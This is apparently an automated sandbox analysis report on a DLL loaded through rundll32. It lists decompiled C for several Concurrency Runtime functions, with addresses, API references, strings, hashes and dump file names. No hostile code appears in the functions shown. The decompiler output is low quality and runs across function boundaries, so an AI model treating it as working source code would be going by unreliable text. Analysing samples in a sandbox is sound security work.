							if( *((intOrPtr*)(__ecx + 0x54)) == 0 || E10008BBE(_t151, __ecx, _t124 + 8) != 0) {
								 *0x10036224(_t124, _a8, _t167);
								_t118 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t156 - 0x118)) + 0x58))))();
							} else {
								goto L7;
							}
						}
						return _t118;
					} else {
						_t131 =  &_v28;
						E10007CBB(_t131, "_PSource");
						_push(0x1002c0fc);
						_t71 =  &_v28;
						L10:
						_push(_t71);
						L10029E92();
						asm("int3");
						asm("int3");
						asm("int3");
						_t180 = _t184;
						_t185 = _t184 - 0x18;
						_push(_t124);
						_t125 = _v40;
						_push(_t156);
						_t157 = _t131;
						if(_t125 == 0) {
							_t132 =  &_v24;
							E10007CBB(_t132, "_PMessage");
							_push(0x1002c0fc);
							_t73 =  &_v24;
							goto L20;
						} else {
							if(_v0 != 0) {
								if( *((char*)(_t157 + 0x58)) != 0) {
									L17:
									_t111 = 1;
								} else {
									_t148 =  *((intOrPtr*)(_t157 + 0x54));
									if( *((intOrPtr*)(_t157 + 0x54)) == 0 || E10008BBE(_t148, _t157, _t125 + 8) != 0) {
										 *0x10036224(_t125, _v0, _t167);
										_t111 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t157 - 0x110)) + 0x58))))();
									} else {
										goto L17;
									}
								}
								return _t111;
							} else {
								_t132 =  &_v36;
								E10007CBB(_t132, "_PSource");
								_push(0x1002c0fc);
								_t73 =  &_v36;
								L20:
								_push(_t73);
								L10029E92();
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t180);
								_t181 = _t185;
								_t186 = _t185 - 0xc;
								_push(_t125);
								_t126 = _v84;
								_push(_t157);
								_t158 = _t132;
								if(_t126 == 0) {
									_push("_PMessage");
									goto L30;
								} else {
									if(_v8 != 0) {
										if( *((char*)(_t158 + 0x58)) != 0) {
											L27:
											_t105 = 1;
										} else {
											_t145 =  *((intOrPtr*)(_t158 + 0x54));
											if( *((intOrPtr*)(_t158 + 0x54)) == 0 || E10008BBE(_t145, _t158, _t126 + 8) != 0) {
												 *0x10036224(_t126, _v8, _t167);
												_t105 =  *((intOrPtr*)( *((intOrPtr*)( *_t158 + 0x1c))))();
											} else {
												goto L27;
											}
										}
										return _t105;
									} else {
										_push("_PSource");
										L30:
										_t133 =  &_v40;
										E10007CBB(_t133);
										_push(0x1002c0fc);
										_push( &_v40);
										L10029E92();
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t181);
										_t182 = _t186;
										_t76 = _v120;
										_push(_t126);
										_push(_t167);
										_push(_t158);
										_t159 = _t133;
										if(_v120 == 0) {
											_t134 =  &_v40;
											E10007CBB(_t134, "_PMessage");
											_push(0x1002c0fc);
											_t78 =  &_v40;
											goto L44;
										} else {
											_t167 = _v16;
											if(_t167 != 0) {
												_t128 = 2;
												if( *((intOrPtr*)(_t159 + 4)) == _t128) {
													L41:
													_t94 = 1;
												} else {
													_t141 =  *((intOrPtr*)(_t159 + 0x3c));
													if( *((intOrPtr*)(_t159 + 0x3c)) == 0 || E10008BBE(_t141, _t159, _t76 + 8) != 0) {
														 *0x10036224( *((intOrPtr*)(_v20 + 4)), _t159);
														 *((intOrPtr*)(_t159 + 0xc)) =  *((intOrPtr*)( *((intOrPtr*)( *_t167 + 0x10))))();
														if( *((intOrPtr*)(_t159 + 0xc)) == 0) {
															_t94 = 3;
														} else {
															_t99 = _t159 + 4;
															_t129 =  *_t99;
															 *_t99 = _t128;
															if( *_t99 == 1) {
																E10012BE0(_t129, _t159 + 0x14, _t154, _t159);
															}
															_t94 = 0;
														}
													} else {
														goto L41;
													}
												}
												return _t94;
											} else {
												_t134 =  &_v52;
												E10007CBB(_t134, "_PSource");
												_push(0x1002c0fc);
												_t78 =  &_v52;
												L44:
												_push(_t78);
												L10029E92();
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t182);
												_push(_t126);
												_t127 = _t134;
												_v173 = 0;
												_push(_t159);
												E10016EA0( &_v204, _t127 + 0x184);
												if( *((intOrPtr*)(_t127 + 0x180)) != 0) {
													_v37 = 1;
													 *((intOrPtr*)(_t127 + 0x1cc)) =  *((intOrPtr*)(_v28 + 4));
												}
												E10016FD0( &_v68);
												_push(2);
												_pop(0);
												if(_v37 == 0) {
													 *0x10036224( *((intOrPtr*)(_v28 + 4)), _t127 + 0x110, _t167);
													_t87 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x10))))();
													 *((intOrPtr*)(_t127 + 0x180)) = _t87;
													if(_t87 == 0) {
														_push(3);
														_pop(0);
													} else {
														 *0x10036224(0);
														 *((intOrPtr*)( *((intOrPtr*)( *_t127 + 0x54))))();
													}
												}
												return 0;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x1000b617
0x1000b61b
0x1000b61f
0x1000b687
0x1000b68a
0x1000b68f
0x1000b694
0x00000000
0x1000b621
0x1000b625
0x1000b642
0x1000b679
0x1000b67b
0x1000b644
0x1000b644
0x1000b649
0x1000b668
0x1000b674
0x00000000
0x00000000
0x00000000
0x1000b649
0x1000b67f
0x1000b627
0x1000b62c
0x1000b62f
0x1000b634
0x1000b639
0x1000b697
0x1000b697
0x1000b698
0x1000b69d
0x1000b69e
0x1000b69f
0x1000b6a1
0x1000b6a3
0x1000b6a6
0x1000b6a7
0x1000b6aa
0x1000b6ab
0x1000b6af
0x1000b717
0x1000b71a
0x1000b71f
0x1000b724
0x00000000
0x1000b6b1
0x1000b6b5
0x1000b6d2
0x1000b709
0x1000b70b
0x1000b6d4
0x1000b6d4
0x1000b6d9
0x1000b6f8
0x1000b704
0x00000000
0x00000000
0x00000000
0x1000b6d9
0x1000b70f
0x1000b6b7
0x1000b6bc
0x1000b6bf
0x1000b6c4
0x1000b6c9
0x1000b727
0x1000b727
0x1000b728
0x1000b72d
0x1000b72e
0x1000b72f
0x1000b730
0x1000b731
0x1000b733
0x1000b736
0x1000b737
0x1000b73a
0x1000b73b
0x1000b73f
0x1000b78a
0x00000000
0x1000b741
0x1000b745
0x1000b752
0x1000b781
0x1000b783
0x1000b754
0x1000b754
0x1000b759
0x1000b774
0x1000b77c
0x00000000
0x00000000
0x00000000
0x1000b759
0x1000b787
0x1000b747
0x1000b747
0x1000b78f
0x1000b78f
0x1000b792
0x1000b797
0x1000b79f
0x1000b7a0
0x1000b7a5
0x1000b7a6
0x1000b7a7
0x1000b7a8
0x1000b7a9
0x1000b7aa
0x1000b7ab
0x1000b7ac
0x1000b7ad
0x1000b7ae
0x1000b7af
0x1000b7b0
0x1000b7b1
0x1000b7b3
0x1000b7b9
0x1000b7ba
0x1000b7bb
0x1000b7bc
0x1000b7c0
0x1000b84c
0x1000b84f
0x1000b854
0x1000b859
0x00000000
0x1000b7c6
0x1000b7c6
0x1000b7cb
0x1000b7e6
0x1000b7ea
0x1000b83d
0x1000b83f
0x1000b7ec
0x1000b7ec
0x1000b7f1
0x1000b80e
0x1000b819
0x1000b820
0x1000b83a
0x1000b822
0x1000b822
0x1000b825
0x1000b825
0x1000b82a
0x1000b82f
0x1000b82f
0x1000b834
0x1000b834
0x00000000
0x00000000
0x00000000
0x1000b7f1
0x1000b844
0x1000b7cd
0x1000b7d2
0x1000b7d5
0x1000b7da
0x1000b7df
0x1000b85c
0x1000b85c
0x1000b85d
0x1000b862
0x1000b863
0x1000b864
0x1000b865
0x1000b866
0x1000b867
0x1000b868
0x1000b869
0x1000b86a
0x1000b86b
0x1000b86c
0x1000b86d
0x1000b86e
0x1000b86f
0x1000b870
0x1000b876
0x1000b877
0x1000b879
0x1000b87d
0x1000b888
0x1000b894
0x1000b899
0x1000b8a0
0x1000b8a0
0x1000b8a9
0x1000b8b2
0x1000b8b4
0x1000b8b5
0x1000b8cf
0x1000b8d7
0x1000b8d9
0x1000b8e1
0x1000b8f9
0x1000b8fb
0x1000b8e3
0x1000b8ed
0x1000b8f5
0x1000b8f5
0x1000b8fc
0x1000b902
0x1000b902
0x1000b7cb
0x1000b7c0
0x1000b745
0x1000b73f
0x1000b6b5
0x1000b6af
0x1000b625

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000B62F

Part of subcall function 10007CBB: std::exception::exception.LIBCONCRT ref: 10007CC8

std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000B68A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000B6BF
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000B71A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000B792
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000B7D5
mset@event@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(?,?,?,?,?,?,?,?,?,?,_PMessage,?,?), ref: 1000B82F
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000B84F
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT(?,?,?), ref: 1000B888

Part of subcall function 10016EA0: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 10016EB3
Part of subcall function 10016EA0: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 10016EBD

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 1000B8A9

Strings

_PMessage, xrefs: 1000B682, 1000B712, 1000B78A, 1000B847
_PSource, xrefs: 1000B627, 1000B6B7, 1000B747, 1000B7CD

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::_LockLock::_QueueScoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::Concurrency@@NodeNode::ReaderReentrantScoped_lock::_Scoped_lock::~_Writermset@event@std::exception::exception
String ID: _PMessage$_PSource
API String ID: 1247944346-3961265847
Opcode ID: 71ec3a499ee27301a0a2b04952cd773980a3c7fc696f70c6352a80ae50ceda65
Instruction ID: 632b3b9d45e7590d3b8a21c3e70d3249cd0458d3067a8ba90d58d3758b07716a
Opcode Fuzzy Hash: 71ec3a499ee27301a0a2b04952cd773980a3c7fc696f70c6352a80ae50ceda65
Instruction Fuzzy Hash: CB910435A00609ABEB14DF95DC85EDEB7ECEF442D0F00806AEE05AB155DB74E945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000C4C0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 251
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E1000C4C0(void* __ecx, intOrPtr _a4) {
				intOrPtr _v4;
				intOrPtr _v12;
				intOrPtr _v20;
				char _v28;
				char _v36;
				char _v40;
				char _v48;
				char _v52;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v108;
				intOrPtr _v144;
				intOrPtr* _v164;
				intOrPtr _v168;
				intOrPtr _v180;
				void* __edi;
				intOrPtr _t51;
				char* _t56;
				char* _t58;
				void* _t72;
				void* _t78;
				void* _t85;
				intOrPtr _t94;
				intOrPtr _t95;
				intOrPtr _t96;
				char* _t103;
				char* _t104;
				intOrPtr* _t105;
				char* _t107;
				char* _t121;
				char* _t122;
				intOrPtr* _t123;
				void* _t129;
				void* _t139;
				void* _t140;
				void* _t141;
				void* _t142;
				void* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t148;

				_t51 =  *((intOrPtr*)(__ecx + 0x178));
				_t145 = _t144 - 0xc;
				if(_t51 == 0) {
					return 0;
				}
				if( *((intOrPtr*)(_t51 + 4)) == _a4) {
					return 1;
				}
				_t103 =  &_v28;
				E100135F0(_t103);
				_push(0x1002c1c4);
				_push( &_v28);
				L10029E92();
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t139 = _t145;
				_t146 = _t145 - 0x18;
				_t94 = _v20;
				_t121 = _t103;
				if(_t94 == 0) {
					_t104 =  &_v28;
					E10007CBB(_t104, "_PMessage");
					_push(0x1002c0fc);
					_t56 =  &_v28;
					goto L15;
				} else {
					if(_v4 != 0) {
						if( *((char*)(_t121 + 0x58)) != 0) {
							L12:
							_t85 = 1;
						} else {
							_t117 =  *((intOrPtr*)(_t121 + 0x54));
							if( *((intOrPtr*)(_t121 + 0x54)) == 0 || E10008BBE(_t117, _t121, _t94 + 8) != 0) {
								 *0x10036224(_t94, _v4, _t129);
								_t85 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t121 - 0x118)) + 0x5c))))();
							} else {
								goto L12;
							}
						}
						return _t85;
					} else {
						_t104 =  &_v40;
						E10007CBB(_t104, "_PSource");
						_push(0x1002c0fc);
						_t56 =  &_v40;
						L15:
						_push(_t56);
						L10029E92();
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t139);
						_t140 = _t146;
						_t147 = _t146 - 0x18;
						_push(_t94);
						_t95 = _v64;
						_push(_t121);
						_t122 = _t104;
						if(_t95 == 0) {
							_t105 =  &_v36;
							E10007CBB(_t105, "_PMessage");
							_push(0x1002c0fc);
							_t58 =  &_v36;
							goto L25;
						} else {
							if(_v12 != 0) {
								if( *((char*)(_t122 + 0x58)) != 0) {
									L22:
									_t78 = 1;
								} else {
									_t114 =  *((intOrPtr*)(_t122 + 0x54));
									if( *((intOrPtr*)(_t122 + 0x54)) == 0 || E10008BBE(_t114, _t122, _t95 + 8) != 0) {
										 *0x10036224(_t95, _v12, _t129);
										_t78 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t122 - 0x110)) + 0x5c))))();
									} else {
										goto L22;
									}
								}
								return _t78;
							} else {
								_t105 =  &_v48;
								E10007CBB(_t105, "_PSource");
								_push(0x1002c0fc);
								_t58 =  &_v48;
								L25:
								_push(_t58);
								L10029E92();
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t140);
								_t141 = _t147;
								_t148 = _t147 - 0xc;
								_push(_t95);
								_t96 = _v108;
								_push(_t122);
								_t123 = _t105;
								if(_t96 == 0) {
									_push("_PMessage");
									goto L35;
								} else {
									if(_v20 != 0) {
										if( *((char*)(_t123 + 0x58)) != 0) {
											L32:
											_t72 = 1;
										} else {
											_t111 =  *((intOrPtr*)(_t123 + 0x54));
											if( *((intOrPtr*)(_t123 + 0x54)) == 0 || E10008BBE(_t111, _t123, _t96 + 8) != 0) {
												 *0x10036224(_t96, _v20, _t129);
												_t72 =  *((intOrPtr*)( *((intOrPtr*)( *_t123 + 0x20))))();
											} else {
												goto L32;
											}
										}
										return _t72;
									} else {
										_push("_PSource");
										L35:
										E10007CBB( &_v52);
										_push( &_v52);
										L10029E92();
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t141);
										_t142 = _t148;
										if(_v144 == 0) {
											_push("_PMessage");
											goto L40;
										} else {
											if(_v28 != 0) {
												return 1;
											} else {
												_push("_PSource");
												L40:
												_t107 =  &_v60;
												E10007CBB(_t107);
												L10029E92();
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_v180 = _t107;
												_t49 = _v168 + 4; // 0x10008ab0
												 *0x10036224( *_t49, _t107, _t123, _t129, _t96, _t107, _t142,  &_v60, 0x1002c0fc);
												if( *((intOrPtr*)( *((intOrPtr*)( *_v164 + 0x10))))() == 0) {
													_push(3);
													_pop(0);
												} else {
													E1000C9D2(_v52, _t66);
												}
												return 0;
											}
										}
									}
								}
							}
						}
					}
				}
				goto L44;
			}

0x1000c4c3
0x1000c4c9
0x1000c4ce
0x00000000
0x1000c4d0
0x1000c4da
0x00000000
0x1000c4dc
0x1000c4e2
0x1000c4e5
0x1000c4ea
0x1000c4f2
0x1000c4f3
0x1000c4f8
0x1000c4f9
0x1000c4fa
0x1000c4fb
0x1000c4fc
0x1000c4fd
0x1000c4fe
0x1000c4ff
0x1000c501
0x1000c503
0x1000c507
0x1000c50b
0x1000c50f
0x1000c577
0x1000c57a
0x1000c57f
0x1000c584
0x00000000
0x1000c511
0x1000c515
0x1000c532
0x1000c569
0x1000c56b
0x1000c534
0x1000c534
0x1000c539
0x1000c558
0x1000c564
0x00000000
0x00000000
0x00000000
0x1000c539
0x1000c56f
0x1000c517
0x1000c51c
0x1000c51f
0x1000c524
0x1000c529
0x1000c587
0x1000c587
0x1000c588
0x1000c58d
0x1000c58e
0x1000c58f
0x1000c590
0x1000c591
0x1000c593
0x1000c596
0x1000c597
0x1000c59a
0x1000c59b
0x1000c59f
0x1000c607
0x1000c60a
0x1000c60f
0x1000c614
0x00000000
0x1000c5a1
0x1000c5a5
0x1000c5c2
0x1000c5f9
0x1000c5fb
0x1000c5c4
0x1000c5c4
0x1000c5c9
0x1000c5e8
0x1000c5f4
0x00000000
0x00000000
0x00000000
0x1000c5c9
0x1000c5ff
0x1000c5a7
0x1000c5ac
0x1000c5af
0x1000c5b4
0x1000c5b9
0x1000c617
0x1000c617
0x1000c618
0x1000c61d
0x1000c61e
0x1000c61f
0x1000c620
0x1000c621
0x1000c623
0x1000c626
0x1000c627
0x1000c62a
0x1000c62b
0x1000c62f
0x1000c67a
0x00000000
0x1000c631
0x1000c635
0x1000c642
0x1000c671
0x1000c673
0x1000c644
0x1000c644
0x1000c649
0x1000c664
0x1000c66c
0x00000000
0x00000000
0x00000000
0x1000c649
0x1000c677
0x1000c637
0x1000c637
0x1000c67f
0x1000c682
0x1000c68f
0x1000c690
0x1000c695
0x1000c696
0x1000c697
0x1000c698
0x1000c699
0x1000c69a
0x1000c69b
0x1000c69c
0x1000c69d
0x1000c69e
0x1000c69f
0x1000c6a0
0x1000c6a1
0x1000c6aa
0x1000c6c0
0x00000000
0x1000c6ac
0x1000c6b0
0x1000c6bd
0x1000c6b2
0x1000c6b2
0x1000c6c5
0x1000c6c5
0x1000c6c8
0x1000c6d6
0x1000c6db
0x1000c6dc
0x1000c6dd
0x1000c6de
0x1000c6df
0x1000c6ed
0x1000c6fa
0x1000c6fd
0x1000c709
0x1000c716
0x1000c718
0x1000c70b
0x1000c70f
0x1000c70f
0x1000c71f
0x1000c71f
0x1000c6b0
0x1000c6aa
0x1000c635
0x1000c62f
0x1000c5a5
0x1000c59f
0x1000c515
0x00000000

APIs

m?0message_not_found@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT ref: 1000C4E5
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000C51F

Part of subcall function 10007CBB: std::exception::exception.LIBCONCRT ref: 10007CC8

std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000C57A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000C5AF
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000C60A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000C682
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000C6C8

Strings

_PMessage, xrefs: 1000C572, 1000C602, 1000C67A, 1000C6C0
_PSource, xrefs: 1000C517, 1000C5A7, 1000C637, 1000C6B2

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency@@m?0message_not_found@std::exception::exception
String ID: _PMessage$_PSource
API String ID: 1112492256-3961265847
Opcode ID: 9755b2a6065c136cabc871dccc748d6f260d50a08aa343c7d4c9777a8e2c1baf
Instruction ID: a573b72a93c693f543dc82fcd7ab6d72bde37cb25c2e19cb3a0bf68991dae046
Opcode Fuzzy Hash: 9755b2a6065c136cabc871dccc748d6f260d50a08aa343c7d4c9777a8e2c1baf
Instruction Fuzzy Hash: 6B61C139A0020DABEB14EB94DC85EDEB7ACEF042D5F00446AFE05A7155DB74F945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1001FC80 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E1001FC80(void* __ebx, void* __ecx, void* __edx, void* __edi, void* _a4) {
				void* _v8;
				char _v20;
				char _v24;
				void* __esi;
				char* _t14;
				void* _t19;
				signed short _t22;
				void* _t25;
				void* _t27;
				void* _t33;
				void* _t35;
				signed int _t37;
				void* _t39;

				_t33 = __edx;
				_t27 = __ebx;
				_push(__edi);
				_t35 = __ecx;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					_t29 =  &_v20;
					E10007CBB( &_v20, "eventObject");
					_push(0x1002c0fc);
					_t14 =  &_v20;
					goto L8;
				} else {
					_v8 = 0;
					_t19 = GetCurrentProcess();
					if(DuplicateHandle(GetCurrentProcess(), _a4, _t19,  &_v8, 0, 0, 2) == 0) {
						_t22 = GetLastError();
						if(_t22 > 0) {
							_t22 = _t22 & 0x0000ffff | 0x80070000;
						}
						_t29 =  &_v24;
						E10013710( &_v24, _t22);
						_push(E1002CB4C);
						_t14 =  &_v24;
						L8:
						_push(_t14);
						L10029E92();
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t37);
						asm("lock xadd [ecx+0x180], esi");
						_t39 = (_t37 | 0xffffffff) - 1;
						if(_t39 == 0) {
							E1001FA34(_t27, _t29, _t35, _t39);
						}
						return _t39;
					} else {
						_t25 = E10028CE8(0xc);
						_push(_t25);
						 *((intOrPtr*)(_t25 + 8)) = _v8;
						return E1001DD17(_t27, _t35 + 0xb8, _t33, _t35);
					}
				}
			}

0x1001fc80
0x1001fc80
0x1001fc8a
0x1001fc8b
0x1001fc8d
0x1001fce1
0x1001fce4
0x1001fce9
0x1001fcee
0x00000000
0x1001fc95
0x1001fc9b
0x1001fca2
0x1001fcbb
0x1001fcf3
0x1001fcfb
0x1001fd00
0x1001fd00
0x1001fd06
0x1001fd09
0x1001fd0e
0x1001fd13
0x1001fd16
0x1001fd16
0x1001fd17
0x1001fd1c
0x1001fd1d
0x1001fd1e
0x1001fd1f
0x1001fd20
0x1001fd24
0x1001fd2c
0x1001fd2d
0x1001fd2f
0x1001fd2f
0x1001fd37
0x1001fcbd
0x1001fcbf
0x1001fcc8
0x1001fcc9
0x1001fcd9
0x1001fcd9
0x1001fcbb

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 1001FCA2
GetCurrentProcess.KERNEL32(000000FF,00000000), ref: 1001FCAC
DuplicateHandle.KERNEL32(00000000), ref: 1001FCB3
SafeRWList.LIBCONCRT ref: 1001FCD2

Part of subcall function 1001DD17: __EH_prolog3.LIBCMT ref: 1001DD1E
Part of subcall function 1001DD17: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT(00000000,1001FCD7,00000000), ref: 1001DD28
Part of subcall function 1001DD17: List.LIBCMT ref: 1001DD32
Part of subcall function 1001DD17: m_ReleaseWrite@_ReaderWriterLock@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(00000000,1001FCD7,00000000), ref: 1001DD3E

std::invalid_argument::invalid_argument.LIBCONCRT ref: 1001FCE4
GetLastError.KERNEL32 ref: 1001FCF3
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT(00000000), ref: 1001FD09
Concurrency::details::SchedulerBase::PhaseOneShutdown.LIBCMT ref: 1001FD2F

Strings

eventObject, xrefs: 1001FCDC

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CurrentListProcessReaderWriter$AcquireBase::Concurrency::details::Concurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorConcurrency@@DuplicateErrorH_prolog3HandleLastLock::_Lock@details@PhaseReleaseSafeSchedulerShutdownWriteWrite@_std::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 255702484-1680012138
Opcode ID: 59cbe20452b8dd6374d4c161858927502aa8f1c3dcc2db347a625036d7baa58f
Instruction ID: a70462c4e5a8bd5eb1646e5632bf884c4aecd08516da61441b1ed209a14efc08
Opcode Fuzzy Hash: 59cbe20452b8dd6374d4c161858927502aa8f1c3dcc2db347a625036d7baa58f
Instruction Fuzzy Hash: 9A11D375500109ABDB25DBA4ED46FFE73A8EB00251F608129FA15DA091DF34E941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 100169DD Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 66
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E100169DD(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				long _v24;
				long _v28;
				char _v40;
				char _v48;
				void* __ebp;
				signed short _t21;
				char* _t23;
				char* _t24;
				signed short _t25;
				intOrPtr* _t37;
				intOrPtr* _t52;
				char* _t55;
				intOrPtr* _t56;
				void* _t64;
				intOrPtr* _t67;
				void* _t71;
				void* _t72;
				void* _t74;

				_t67 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetLogicalProcessorInformationEx");
				if(_t67 == 0) {
					_t21 = GetLastError();
					if(_t21 > 0) {
						goto L9;
					}
					goto L10;
				} else {
					_t52 = _a8;
					 *0x10036224(_a4, 0, _t52);
					 *_t67();
					if(GetLastError() == 0x7a) {
						_t64 =  *0x100361b8( *_t52);
						if(_t64 != 0) {
							 *0x10036224(_a4, _t64, _t52);
							if( *_t67() == 0) {
								goto L2;
							} else {
								return _t64;
							}
						} else {
							E1000D95B( &_v16);
							_push(0x1002c31c);
							_t23 =  &_v16;
							goto L11;
						}
					} else {
						L2:
						_t21 = GetLastError();
						if(_t21 > 0) {
							L9:
							_t21 = _t21 & 0x0000ffff | 0x80070000;
						}
						L10:
						E10013710( &_v20, _t21);
						_push(E1002CB4C);
						_t23 =  &_v20;
						L11:
						L10029E92();
						asm("int3");
						_t72 = _t74;
						_t24 =  &_v48;
						__imp__GetNumaHighestNodeNumber(_t24, _t71, _t23);
						if(_t24 == 0) {
							_t25 = GetLastError();
							if(_t25 > 0) {
								_t25 = _t25 & 0x0000ffff | 0x80070000;
							}
							_t55 =  &_v40;
							E10013710(_t55, _t25);
							_push(E1002CB4C);
							_push( &_v40);
							L10029E92();
							asm("int3");
							_push(_t72);
							_push(_t55);
							_push(_t55);
							if(L10019B80() < 4) {
								GetProcessAffinityMask(GetCurrentProcess(),  &_v24,  &_v28);
								_t56 = _v8;
								 *((short*)(_t56 + 4)) = 0;
								 *_t56 = _v24;
							} else {
								_t37 = E10028707( *0x10035a54);
								 *0x10036224(_v12, _v8, _t67);
								 *_t37();
							}
							return 1;
						} else {
							return _v12;
						}
					}
				}
			}

0x100169fd
0x10016a01
0x10016a68
0x10016a70
0x00000000
0x00000000
0x00000000
0x10016a03
0x10016a03
0x10016a0e
0x10016a14
0x10016a1f
0x10016a35
0x10016a3a
0x10016a55
0x10016a5f
0x00000000
0x10016a61
0x10016a67
0x10016a67
0x10016a3c
0x10016a3f
0x10016a44
0x10016a49
0x00000000
0x10016a49
0x10016a21
0x10016a21
0x10016a21
0x10016a29
0x10016a72
0x10016a75
0x10016a75
0x10016a7a
0x10016a7e
0x10016a83
0x10016a88
0x10016a8b
0x10016a8c
0x10016a91
0x10016a93
0x10016a98
0x10016a9c
0x10016aa4
0x10016aab
0x10016ab3
0x10016ab8
0x10016ab8
0x10016abe
0x10016ac1
0x10016ac6
0x10016ace
0x10016acf
0x10016ad4
0x10016ad5
0x10016ad8
0x10016ad9
0x10016ae2
0x10016b15
0x10016b1b
0x10016b20
0x10016b27
0x10016ae4
0x10016aeb
0x10016afb
0x10016b01
0x10016b03
0x10016b2d
0x10016aa6
0x10016aaa
0x10016aaa
0x10016aa4
0x10016a1f

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLogicalProcessorInformationEx,7FFFFFFF,00000000,?,?,?,?,?,?,?,?,?,0000000C,?,1002D4A8), ref: 100169F0
GetProcAddress.KERNEL32(00000000), ref: 100169F7
